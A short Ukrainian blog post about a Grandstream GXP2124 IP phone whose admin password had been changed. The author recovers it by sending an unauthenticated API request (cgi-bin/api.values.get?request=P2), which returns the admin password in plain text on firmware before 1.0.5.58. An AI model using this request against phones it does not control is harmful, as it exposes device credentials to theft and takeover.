Дізнаємося пароль адміністратора в телефоні Grandstream GXP2124

Сьогодні зіткнувся з проблемою: хтось змінив пароль адміністратора до телефону. Почитавши в мережі інформацію, зробив висновок, щоб:

  • Змінити пароль адміністратора, потрібен пароль адміністратора;
  • Скинути телефон у заводські налаштування, потрібен пароль адміністратора;
  • Перепрошити телефон - знову потрібен той відсутній пароль...

Як же знайти вихід із ситуації, що склалася? Так легко!

Для «впізнавання» пароля мною був використаний самий звичайний браузер Google Chrome з встановленим компонентів Furebug, плюс, інший телефон Grandstream GXP2124, доступ до якого у мене є.

Далі хід дій був наступний:

Запускаємо браузер і включаємо утиліту Firebug, після чого починаємо «гуляти» різними сторінками. У списку запитів було виявлено:

POST cgi-bin/api.values.get

а в тілі відповіді числиться:

{«response»:«success», «body»:{«vendor_fullname»:«Grandstream Networks, Inc.»}}

Гортаючи далі, знайшов і такий запит:

POST cgi-bin/api-phone_operation

у запиті якого були передані параметри:

cmd=extend&arg=&sid=639534b3e5a

Що ж далі? А далі переходжу в налаштування безпеки і змінюю пароль на телефоні, доступ до якого у мене вже є і дивлюся список відповідей:

POST cgi-bin/api.values.post

Source:

P2=MyNewPass&:confirmAdminPwd=MyNewPass&sid=639534b3e5a

де:

  • P2 - переданий пароль адміністратора;
  • confirmAdminPwd - підтвердження пароля адміністратора;
  • sid - поточна сесія (нам не знадобиться).

Далі, проявивши фантазію, складаємо запит виду:

192.168.1.253/cgi-bin/api.values.get?request=P2

де 192.168.1.253 - IP-адреса телефону.

Відправляємо і...

… і отримуємо JSON-відповідь виду:

{«response»:«success», «body»:{«P2»: «adminPass»}}

де adminPass - поточний пароль адміністратора.

Profit!

З повагою, Andrey Helldar!

P.S.: Вищеописана фішка спрацьовує на прошивці версії до 1.0.5.58

Конкретно було протестовано на програмній версії прошивки 1.0.5.23